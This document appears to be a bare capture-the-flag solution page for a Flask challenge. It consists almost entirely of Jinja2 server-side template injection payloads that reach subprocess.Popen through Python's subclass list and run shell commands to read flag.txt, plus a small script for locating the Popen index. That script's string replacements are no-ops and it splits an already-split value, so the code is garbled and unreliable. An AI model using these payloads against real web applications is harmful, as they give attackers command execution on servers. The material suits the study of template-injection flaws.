Flask
Challenge
Solution
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}{{''.__class__.mro()[1].__subclasses__()}}
Mis à jour
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}{{''.__class__.mro()[1].__subclasses__()}}
Mis à jour
data = "[<class 'ty ... codedata.UCD'>]"
data = data.replace('>', '>').replace('<', '<').split(', ')
print([i for i, c, in enumerate(data.split(', ')) if 'Popen' in c])
# 351{{''.__class__.mro()[1].__subclasses__()[351]('cat /app/flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}